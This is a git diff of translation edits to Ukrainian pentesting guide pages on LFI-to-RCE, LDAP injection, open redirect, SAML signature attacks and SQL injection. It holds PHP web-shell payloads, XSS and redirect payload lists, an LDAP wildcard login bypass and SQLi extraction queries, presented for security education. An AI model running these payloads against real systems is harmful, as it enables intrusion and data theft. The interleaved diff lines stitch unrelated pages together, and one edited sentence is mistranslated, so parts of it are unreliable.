Якщо сервер Apache або Nginx **вразливий до LFI**, всередині функції включення ви можете спробувати отримати доступ до **`/var/log/apache2/access.log` або `/var/log/nginx/access.log`**, встановивши в **user agent** або в **GET параметрі** php shell, як **`<?php system($_GET['c']); ?>`** і включити цей файл.
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що **якщо ви використовуєте подвійні лапки** для shell замість **одинарних лапок**, подвійні лапки будуть змінені на рядок "_**quote;**_", **PHP викине помилку** там і **нічого іншого не буде виконано**.
|
||||
>
|
||||
> Також переконайтеся, що ви **правильно написали payload**, інакше PHP буде помилятися щоразу, коли намагатиметься завантажити файл журналу, і у вас не буде другої можливості.
|
||||
|
||||
Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодований, і це може знищити Shell. Заголовок **authorisation "basic"** містить "user:password" в Base64, і він декодується всередині журналів. PHPShell може бути вставлений всередині цього заголовка.\
|
||||
Це також можна зробити в інших журналах, але **будьте обережні**, код всередині журналів може бути URL-кодований, і це може знищити Shell. Заголовок **authorisation "basic"** містить "user:password" у Base64, і він декодується всередині журналів. PHPShell може бути вставлений всередині цього заголовка.\
|
||||
Інші можливі шляхи до журналів:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -450,16 +443,16 @@ assert("strpos('$file', '..') === false") or die("");
|
||||
```
|
||||
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
|
||||
|
||||
### Via Email
|
||||
### Через електронну пошту
|
||||
|
||||
**Надішліть листа** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити його в пошту користувача з шляхом, таким як **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
|
||||
**Надішліть листа** на внутрішній акаунт (user@localhost), що містить ваш PHP payload, наприклад `<?php echo system($_REQUEST["cmd"]); ?>`, і спробуйте включити до листа користувача шлях, наприклад **`/var/mail/<USERNAME>`** або **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Via /proc/\*/fd/\*
|
||||
### Через /proc/\*/fd/\*
|
||||
|
||||
1. Завантажте багато shell'ів (наприклад: 100)
|
||||
2. Включіть [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), де $PID = PID процесу (можна перебрати) і $FD - файловий дескриптор (також можна перебрати)
|
||||
|
||||
### Via /proc/self/environ
|
||||
### Через /proc/self/environ
|
||||
|
||||
Як файл журналу, надішліть payload у User-Agent, він буде відображений у файлі /proc/self/environ
|
||||
```
|
||||
@ -474,15 +467,15 @@ http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Щоб зберегти файл читабельним, найкраще впроваджувати в метадані зображень/doc/pdf
|
||||
|
||||
### Завантаження ZIP файлу
|
||||
### Через завантаження ZIP файлу
|
||||
|
||||
Завантажте ZIP файл, що містить стиснутий PHP shell, і отримайте доступ:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Через PHP сесії
|
||||
### Via PHP sessions
|
||||
|
||||
Перевірте, чи використовує вебсайт PHP сесію (PHPSESSID)
|
||||
Перевірте, чи використовує вебсайт PHP Session (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
@ -513,7 +506,7 @@ login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/s
|
||||
|
||||
### Через фільтр php base64 (використовуючи base64)
|
||||
|
||||
Як показано в [цьому](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) статті, фільтр PHP base64 просто ігнорує не-base64. Ви можете використовувати це, щоб обійти перевірку розширення файлу: якщо ви надасте base64, яке закінчується на ".php", воно просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
|
||||
Як показано в [цьому](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) статті, фільтр PHP base64 просто ігнорує не-base64. Ви можете використовувати це, щоб обійти перевірку розширення файлу: якщо ви надасте base64, що закінчується на ".php", він просто ігноруватиме "." і додасть "php" до base64. Ось приклад payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
@ -521,7 +514,7 @@ NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
|
||||
Цей [**опис**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters для генерації довільного контенту** як виходу. Це в основному означає, що ви можете **генерувати довільний php код** для включення **без необхідності записувати** його у файл.
|
||||
Цей [**writeup**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) пояснює, що ви можете використовувати **php filters для генерації довільного контенту** як виходу. Це в основному означає, що ви можете **генерувати довільний php код** для включення **без необхідності записувати** його у файл.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
@ -576,7 +569,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Через phpinfo() (file_uploads = on)
|
||||
|
||||
Якщо ви знайшли **Local File Inclusion** і файл, що показує **phpinfo()** з file_uploads = on, ви можете отримати RCE:
|
||||
Якщо ви знайшли **Local File Inclusion** і файл, що відкриває **phpinfo()** з file_uploads = on, ви можете отримати RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-phpinfo.md
|
||||
@ -584,7 +577,7 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Через compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Витік шляху
|
||||
|
||||
Якщо ви знайшли **Local File Inclusion** і ви **можете ексфільтрувати шлях** до тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи має **файл, що включається, PHP мітки**, ви можете спробувати **обійти цю перевірку** за допомогою цього **Race Condition**:
|
||||
Якщо ви знайшли **Local File Inclusion** і ви **можете ексфільтрувати шлях** до тимчасового файлу, АЛЕ **сервер** **перевіряє**, чи **файл, що включається, має PHP мітки**, ви можете спробувати **обійти цю перевірку** за допомогою цього **Race Condition**:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
@ -592,7 +585,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
|
||||
### Через вічне очікування + брутфорс
|
||||
|
||||
Якщо ви можете зловживати LFI для **завантаження тимчасових файлів** і змусити сервер **зависнути** під час виконання PHP, ви могли б **брутфорсити імена файлів протягом годин**, щоб знайти тимчасовий файл:
|
||||
Якщо ви можете зловживати LFI для **завантаження тимчасових файлів** і змусити сервер **зависнути** виконання PHP, ви могли б тоді **брутфорсити імена файлів протягом годин**, щоб знайти тимчасовий файл:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-eternal-waiting.md
|
||||
@ -603,13 +596,13 @@ lfi2rce-via-eternal-waiting.md
|
||||
Якщо ви включите будь-який з файлів `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Вам потрібно включити той самий файл 2 рази, щоб викликати цю помилку).
|
||||
|
||||
**Я не знаю, як це може бути корисно, але це може бути.**\
|
||||
&#xNAN;_Eнавіть якщо ви викликаєте Фатальну Помилку PHP, тимчасові файли PHP, що завантажуються, видаляються._
|
||||
_Even якщо ви викликаєте PHP Фатальну Помилку, тимчасові файли PHP, що завантажуються, видаляються._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## Посилання
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
|
||||
{{#file}}
|
||||
|
||||
@ -33,8 +33,8 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
**Substring** = attr ”=” \[initial] \* \[final]\
|
||||
**Initial** = assertionvalue\
|
||||
**Final** = assertionvalue\
|
||||
&#xNAN;**(&)** = Absolute TRUE\
|
||||
&#xNAN;**(|)** = Absolute FALSE
|
||||
**(&)** = Absolute TRUE\
|
||||
**(|)** = Absolute FALSE
|
||||
|
||||
Наприклад:\
|
||||
`(&(!(objectClass=Impresoras))(uid=s*))`\
|
||||
@ -43,10 +43,10 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
Ви можете отримати доступ до бази даних, і вона може містити інформацію різних типів.
|
||||
|
||||
**OpenLDAP**: Якщо надходять 2 фільтри, виконується лише перший.\
|
||||
**ADAM або Microsoft LDS**: З 2 фільтрами виникає помилка.\
|
||||
**ADAM або Microsoft LDS**: При 2 фільтрах виникає помилка.\
|
||||
**SunOne Directory Server 5.0**: Виконує обидва фільтри.
|
||||
|
||||
**Дуже важливо надіслати фільтр з правильною синтаксисом, інакше виникне помилка. Краще надіслати лише 1 фільтр.**
|
||||
**Дуже важливо надсилати фільтр з правильною синтаксисом, інакше виникне помилка. Краще надсилати лише 1 фільтр.**
|
||||
|
||||
Фільтр має починатися з: `&` або `|`\
|
||||
Приклад: `(&(directory=val1)(folder=public))`
|
||||
@ -58,7 +58,7 @@ EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf
|
||||
|
||||
### Login Bypass
|
||||
|
||||
LDAP підтримує кілька форматів для зберігання пароля: clear, md5, smd5, sh1, sha, crypt. Тому може бути так, що незалежно від того, що ви введете в пароль, він буде захешований.
|
||||
LDAP підтримує кілька форматів для зберігання пароля: clear, md5, smd5, sh1, sha, crypt. Тому може бути так, що незалежно від того, що ви введете в пароль, він буде захищений.
|
||||
```bash
|
||||
user=*
|
||||
password=*
|
||||
|
||||
@ -1,17 +1,17 @@
|
||||
# Відкритий редирект
|
||||
# Open Redirect
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Відкритий редирект
|
||||
## Open redirect
|
||||
|
||||
### Редирект на localhost або довільні домени
|
||||
### Перенаправлення на localhost або довільні домени
|
||||
|
||||
{{#ref}}
|
||||
ssrf-server-side-request-forgery/url-format-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
### Відкритий редирект до XSS
|
||||
### Open Redirect до XSS
|
||||
```bash
|
||||
#Basic payload, javascript code is executed after "javascript:"
|
||||
javascript:alert(1)
|
||||
@ -57,7 +57,7 @@ javascript://whitelisted.com?%a0alert%281%29
|
||||
/x:1/:///%01javascript:alert(document.cookie)/
|
||||
";alert(0);//
|
||||
```
|
||||
## Відкритий редирект завантаження svg файлів
|
||||
## Open Redirect завантаження svg файлів
|
||||
```markup
|
||||
<code>
|
||||
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
|
||||
@ -166,8 +166,8 @@ exit;
|
||||
|
||||
## Ресурси
|
||||
|
||||
- У [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) ви можете знайти списки для фуззингу.\\
|
||||
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)\\
|
||||
- У [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open Redirect](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Open%20Redirect) ви можете знайти списки для фуззингу.
|
||||
- [https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html](https://pentester.land/cheatsheets/2018/11/02/open-redirect-cheatsheet.html)
|
||||
- [https://github.com/cujanovic/Open-Redirect-Payloads](https://github.com/cujanovic/Open-Redirect-Payloads)
|
||||
- [https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a](https://infosecwriteups.com/open-redirects-bypassing-csrf-validations-simplified-4215dc4f180a)
|
||||
|
||||
|
||||
@ -1,22 +1,22 @@
|
||||
# SAML Атаки
|
||||
# SAML Attacks
|
||||
|
||||
## SAML Атаки
|
||||
## SAML Attacks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
{{#ref}}
|
||||
saml-basics.md
|
||||
{{#endref}}
|
||||
|
||||
## Інструмент
|
||||
## Tool
|
||||
|
||||
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): Інструмент, який може взяти URL або список URL і вивести SAML consume URL.
|
||||
|
||||
## XML круговий обмін
|
||||
## XML round-trip
|
||||
|
||||
В XML підписана частина XML зберігається в пам'яті, потім виконується деяке кодування/декодування, і перевіряється підпис. Ідеально, щоб це кодування/декодування не змінювало дані, але в такому сценарії **дані, що перевіряються, і оригінальні дані можуть не бути однаковими**.
|
||||
В XML підписана частина XML зберігається в пам'яті, потім виконується деяке кодування/декодування, і перевіряється підпис. Ідеально, щоб це кодування/декодування не змінювало дані, але в цьому сценарії **дані, що перевіряються, і оригінальні дані можуть не бути однаковими**.
|
||||
|
||||
Наприклад, перевірте наступний код:
|
||||
```ruby
|
||||
@ -42,7 +42,7 @@ First child after round-trip: Z
|
||||
|
||||
.png>)
|
||||
|
||||
А це те, як він побачив його після обробки та серіалізації:
|
||||
А це те, як він його побачив після обробки та серіалізації:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -87,7 +87,7 @@ First child after round-trip: Z
|
||||
|
||||
### XSW #5
|
||||
|
||||
- **Унікальний аспект**: Ані підпис, ані оригінальна Assertion не відповідають стандартним конфігураціям (обгортковий/обгортковий/відокремлений).
|
||||
- **Унікальний аспект**: Ні підпис, ні оригінальна Assertion не відповідають стандартним конфігураціям (обгортковий/обгортковий/відокремлений).
|
||||
- **Наслідок**: Скопійована Assertion обгортає підпис, змінюючи очікувану структуру документа.
|
||||
|
||||
.png>)
|
||||
@ -102,7 +102,7 @@ First child after round-trip: Z
|
||||
### XSW #7
|
||||
|
||||
- **Стратегія**: Вставляється елемент Extensions з копійованою Assertion як дочірнім.
|
||||
- **Наслідок**: Це використовує менш обмежену схему елемента Extensions, щоб обійти контрзаходи перевірки схеми, особливо в бібліотеках, таких як OpenSAML.
|
||||
- **Наслідок**: Це експлуатує менш обмежену схему елемента Extensions, щоб обійти контрзаходи перевірки схеми, особливо в бібліотеках, таких як OpenSAML.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -111,7 +111,7 @@ First child after round-trip: Z
|
||||
- **Відмінність від XSW #7**: Використовує інший менш обмежений XML-елемент для варіанту атаки.
|
||||
- **Наслідок**: Оригінальна Assertion стає дочірнім елементом менш обмеженого елемента, змінюючи структуру, використану в XSW #7.
|
||||
|
||||
.png>)
|
||||
.png>)
|
||||
|
||||
### Інструмент
|
||||
|
||||
@ -157,7 +157,7 @@ First child after round-trip: Z
|
||||
../xslt-server-side-injection-extensible-stylesheet-language-transformations.md
|
||||
{{#endref}}
|
||||
|
||||
Розширені перетворення стилів (XSLT) можуть використовуватися для перетворення XML документів у різні формати, такі як HTML, JSON або PDF. Важливо зазначити, що **перетворення XSLT виконуються до перевірки цифрового підпису**. Це означає, що атака може бути успішною навіть без дійсного підпису; самопідписаний або недійсний підпис є достатнім для продовження.
|
||||
Розширювальні перетворення стилів (XSLT) можуть використовуватися для перетворення XML документів у різні формати, такі як HTML, JSON або PDF. Важливо зазначити, що **перетворення XSLT виконуються до перевірки цифрового підпису**. Це означає, що атака може бути успішною навіть без дійсного підпису; самопідписаний або недійсний підпис є достатнім для продовження.
|
||||
|
||||
Тут ви можете знайти **POC** для перевірки на такі вразливості, на сторінці hacktricks, згаданій на початку цього розділу, ви можете знайти корисні дані.
|
||||
```xml
|
||||
@ -187,7 +187,7 @@ First child after round-trip: Z
|
||||
|
||||
## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
|
||||
|
||||
**XML Signature Exclusion** спостерігає за поведінкою реалізацій SAML, коли елемент Signature відсутній. Якщо цей елемент відсутній, **перевірка підпису може не відбутися**, що робить його вразливим. Можна перевірити це, змінивши вміст, який зазвичай перевіряється підписом.
|
||||
**XML Signature Exclusion** спостерігає за поведінкою реалізацій SAML, коли елемент Signature відсутній. Якщо цей елемент відсутній, **перевірка підпису може не відбуватися**, що робить його вразливим. Можна перевірити це, змінивши вміст, який зазвичай перевіряється підписом.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -209,7 +209,7 @@ Certificate Faking - це техніка для перевірки, чи **пр
|
||||
|
||||
1. Перехопіть SAML Response.
|
||||
2. Якщо відповідь містить підпис, надішліть сертифікат до SAML Raider Certs, використовуючи кнопку `Send Certificate to SAML Raider Certs`.
|
||||
3. У вкладці SAML Raider Certificates виберіть імпортований сертифікат і натисніть `Save and Self-Sign`, щоб створити самопідписаний клон оригінального сертифіката.
|
||||
3. У вкладці Сертифікати SAML Raider виберіть імпортований сертифікат і натисніть `Save and Self-Sign`, щоб створити самопідписаний клон оригінального сертифіката.
|
||||
4. Поверніться до перехопленого запиту в проксі Burp. Виберіть новий самопідписаний сертифікат з випадаючого списку XML Signature.
|
||||
5. Видаліть будь-які існуючі підписи за допомогою кнопки `Remove Signatures`.
|
||||
6. Підпишіть повідомлення або підтвердження новим сертифікатом, використовуючи кнопку **`(Re-)Sign Message`** або **`(Re-)Sign Assertion`**, відповідно.
|
||||
@ -217,13 +217,13 @@ Certificate Faking - це техніка для перевірки, чи **пр
|
||||
|
||||
## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
|
||||
|
||||
Token Recipient Confusion та Service Provider Target Confusion передбачають перевірку, чи **правильно перевіряє постачальник послуг призначеного отримувача відповіді**. По суті, постачальник послуг повинен відхиляти відповідь на аутентифікацію, якщо вона призначена для іншого постачальника. Критичним елементом тут є поле **Recipient**, яке знаходиться в елементі **SubjectConfirmationData** SAML Response. Це поле вказує URL, куди повинно бути надіслано підтвердження. Якщо фактичний отримувач не відповідає призначеному постачальнику послуг, підтвердження слід вважати недійсним.
|
||||
Token Recipient Confusion та Service Provider Target Confusion передбачають перевірку, чи **правильно перевіряє постачальник послуг наміченого отримувача відповіді**. По суті, постачальник послуг повинен відхиляти відповідь аутентифікації, якщо вона призначена для іншого постачальника. Критичним елементом тут є поле **Recipient**, яке знаходиться в елементі **SubjectConfirmationData** SAML Response. Це поле вказує URL, куди повинно бути надіслано підтвердження. Якщо фактичний отримувач не відповідає наміченому постачальнику послуг, підтвердження слід вважати недійсним.
|
||||
|
||||
#### **Як це працює**
|
||||
|
||||
Для того, щоб атака SAML Token Recipient Confusion (SAML-TRC) була здійсненною, повинні бути виконані певні умови. По-перше, має бути дійсний обліковий запис у постачальника послуг (називається SP-Legit). По-друге, цільовий постачальник послуг (SP-Target) повинен приймати токени від того ж постачальника ідентифікації, який обслуговує SP-Legit.
|
||||
Для того, щоб атака SAML Token Recipient Confusion (SAML-TRC) була здійсненною, повинні бути виконані певні умови. По-перше, має бути дійсний обліковий запис на постачальнику послуг (називається SP-Legit). По-друге, цільовий постачальник послуг (SP-Target) повинен приймати токени від того ж постачальника ідентифікації, який обслуговує SP-Legit.
|
||||
|
||||
Процес атаки є простим за цих умов. Аутентифікована сесія ініціюється з SP-Legit через спільного постачальника ідентифікації. SAML Response від постачальника ідентифікації до SP-Legit перехоплюється. Цей перехоплений SAML Response, спочатку призначений для SP-Legit, потім перенаправляється до SP-Target. Успіх цієї атаки вимірюється тим, що SP-Target приймає підтвердження, надаючи доступ до ресурсів під тим же ім'ям облікового запису, що використовувалося для SP-Legit.
|
||||
Процес атаки є простим за цих умов. Ініціюється автентична сесія з SP-Legit через спільного постачальника ідентифікації. SAML Response від постачальника ідентифікації до SP-Legit перехоплюється. Цей перехоплений SAML Response, спочатку призначений для SP-Legit, потім перенаправляється до SP-Target. Успіх цієї атаки вимірюється тим, що SP-Target приймає підтвердження, надаючи доступ до ресурсів під тим же ім'ям облікового запису, яке використовувалося для SP-Legit.
|
||||
```python
|
||||
# Example to simulate interception and redirection of SAML Response
|
||||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||||
@ -256,7 +256,7 @@ https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||||
```
|
||||
Це виявило, що параметр `base` приймає URL. Враховуючи це, виникла ідея замінити URL на `javascript:alert(123);` в спробі ініціювати атаку XSS (Cross-Site Scripting).
|
||||
Це виявило, що параметр `base` приймає URL. Враховуючи це, виникла ідея замінити URL на `javascript:alert(123);` у спробі ініціювати атаку XSS (Cross-Site Scripting).
|
||||
|
||||
### Масове використання
|
||||
|
||||
@ -283,7 +283,7 @@ print(Fore.WHITE + "Len : " + str(len(request.content)) + " Vulnerable : " + d
|
||||
## Посилання
|
||||
|
||||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
||||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\\
|
||||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)
|
||||
- [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||||
- [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
||||
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
## Що таке SQL-ін'єкція?
|
||||
|
||||
**SQL-ін'єкція** - це вразливість безпеки, яка дозволяє зловмисникам **втручатися в запити до бази даних** додатку. Ця вразливість може дозволити зловмисникам **переглядати**, **модифікувати** або **видаляти** дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких може отримати доступ додаток. Такі дії можуть призвести до постійних змін у функціональності або контенті додатку, або навіть до компрометації сервера чи відмови в обслуговуванні.
|
||||
**SQL-ін'єкція** — це вразливість безпеки, яка дозволяє зловмисникам **втручатися в запити до бази даних** додатку. Ця вразливість може дозволити зловмисникам **переглядати**, **модифікувати** або **видаляти** дані, до яких вони не повинні мати доступ, включаючи інформацію інших користувачів або будь-які дані, до яких може отримати доступ додаток. Такі дії можуть призвести до постійних змін у функціональності або змісті додатку, або навіть до компрометації сервера чи відмови в обслуговуванні.
|
||||
|
||||
## Виявлення точок входу
|
||||
|
||||
Коли сайт виглядає **вразливим до SQL-ін'єкції (SQLi)** через незвичайні відповіді сервера на запити, пов'язані з SQLi, **першим кроком** є розуміння того, як **впроваджувати дані в запит, не порушуючи його**. Це вимагає визначення методу **ефективного виходу з поточного контексту**. Ось кілька корисних прикладів:
|
||||
Коли сайт виглядає **вразливим до SQL-ін'єкції (SQLi)** через незвичайні відповіді сервера на введення, пов'язані з SQLi, **першим кроком** є розуміння того, як **впроваджувати дані в запит, не порушуючи його**. Це вимагає визначення методу, щоб **ефективно вийти з поточного контексту**. Ось кілька корисних прикладів:
|
||||
```
|
||||
[Nothing]
|
||||
'
|
||||
@ -21,7 +21,7 @@
|
||||
"))
|
||||
`))
|
||||
```
|
||||
Тоді вам потрібно знати, як **виправити запит, щоб не було помилок**. Щоб виправити запит, ви можете **ввести** дані, щоб **попередній запит прийняв нові дані**, або ви можете просто **ввести** свої дані та **додати символ коментаря в кінці**.
|
||||
Тоді вам потрібно знати, як **виправити запит, щоб не було помилок**. Щоб виправити запит, ви можете **ввести** дані, щоб **попередній запит прийняв нові дані**, або ви можете просто **ввести** свої дані і **додати символ коментаря в кінці**.
|
||||
|
||||
_Зверніть увагу, що якщо ви можете бачити повідомлення про помилки або помітити відмінності, коли запит працює, а коли ні, цей етап буде легшим._
|
||||
|
||||
@ -51,13 +51,13 @@ SQLite
|
||||
HQL
|
||||
HQL does not support comments
|
||||
```
|
||||
### Підтвердження логічними операціями
|
||||
### Підтвердження за допомогою логічних операцій
|
||||
|
||||
Надійний метод підтвердження вразливості до SQL-ін'єкцій полягає в виконанні **логічної операції** та спостереженні за очікуваними результатами. Наприклад, GET-параметр, такий як `?username=Peter`, який дає ідентичний контент при зміні на `?username=Peter' or '1'='1`, вказує на вразливість до SQL-ін'єкцій.
|
||||
Надійний метод підтвердження вразливості до SQL-ін'єкцій полягає в виконанні **логічної операції** та спостереженні за очікуваними результатами. Наприклад, GET-параметр, такий як `?username=Peter`, який дає однаковий вміст при зміні на `?username=Peter' or '1'='1`, вказує на вразливість до SQL-ін'єкцій.
|
||||
|
||||
Аналогічно, застосування **математичних операцій** слугує ефективною технікою підтвердження. Наприклад, якщо доступ до `?id=1` та `?id=2-1` дає той самий результат, це вказує на SQL-ін'єкцію.
|
||||
Аналогічно, застосування **математичних операцій** є ефективною технікою підтвердження. Наприклад, якщо доступ до `?id=1` та `?id=2-1` дає той самий результат, це вказує на SQL-ін'єкцію.
|
||||
|
||||
Приклади, що демонструють підтвердження логічних операцій:
|
||||
Приклади, що демонструють підтвердження логічної операції:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
@ -95,7 +95,7 @@ SQLite
|
||||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
В деяких випадках **функції затримки не будуть дозволені**. Тоді, замість використання цих функцій, ви можете зробити запит, який **виконає складні операції**, що займе кілька секунд. _Приклади цих технік будуть прокоментовані окремо для кожної технології (якщо такі є)_.
|
||||
В деяких випадках **функції затримки не будуть дозволені**. Тоді, замість використання цих функцій, ви можете зробити запит, щоб **виконати складні операції**, які займатимуть кілька секунд. _Приклади цих технік будуть прокоментовані окремо для кожної технології (якщо такі є)_.
|
||||
|
||||
### Визначення бекенду
|
||||
|
||||
@ -132,7 +132,7 @@ SQLite
|
||||
> [!NOTE]
|
||||
> У продовженні ми будемо обговорювати різні методи експлуатації різних видів SQL Injection. Ми будемо використовувати MySQL як приклад.
|
||||
|
||||
### Ідентифікація з PortSwigger
|
||||
### Визначення з PortSwigger
|
||||
|
||||
{{#ref}}
|
||||
https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
@ -148,7 +148,7 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet
|
||||
|
||||
#### Order/Group by
|
||||
|
||||
Щоб визначити кількість стовпців у запиті, поступово коригуйте число, використане в **ORDER BY** або **GROUP BY** клаузах, поки не буде отримано хибну відповідь. Незважаючи на різні функціональні можливості **GROUP BY** та **ORDER BY** в SQL, обидва можуть бути використані однаково для визначення кількості стовпців запиту.
|
||||
Щоб визначити кількість стовпців у запиті, поступово коригуйте число, використане в **ORDER BY** або **GROUP BY** клаузах, поки не буде отримано хибну відповідь. Незважаючи на різні функції **GROUP BY** та **ORDER BY** в SQL, обидва можуть бути використані однаково для визначення кількості стовпців запиту.
|
||||
```sql
|
||||
1' ORDER BY 1--+ #True
|
||||
1' ORDER BY 2--+ #True
|
||||
@ -176,7 +176,7 @@ _Ви повинні використовувати `null` значення, о
|
||||
|
||||
### Витягти імена баз даних, імена таблиць та імена стовпців
|
||||
|
||||
У наступних прикладах ми будемо отримувати ім'я всіх баз даних, ім'я таблиці бази даних, імена стовпців таблиці:
|
||||
У наступних прикладах ми будемо отримувати назву всіх баз даних, назву таблиці бази даних, імена стовпців таблиці:
|
||||
```sql
|
||||
#Database names
|
||||
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
|
||||
@ -191,35 +191,35 @@ _Існує різний спосіб виявлення цих даних у к
|
||||
|
||||
## Використання прихованого об'єднання
|
||||
|
||||
Коли вихід запиту видимий, але об'єднаний ін'єкцію здається недосяжною, це означає наявність **прихованої об'єднаної ін'єкції**. Цей сценарій часто призводить до ситуації сліпої ін'єкції. Щоб перетворити сліпу ін'єкцію на об'єднану, потрібно визначити запит виконання на бекенді.
|
||||
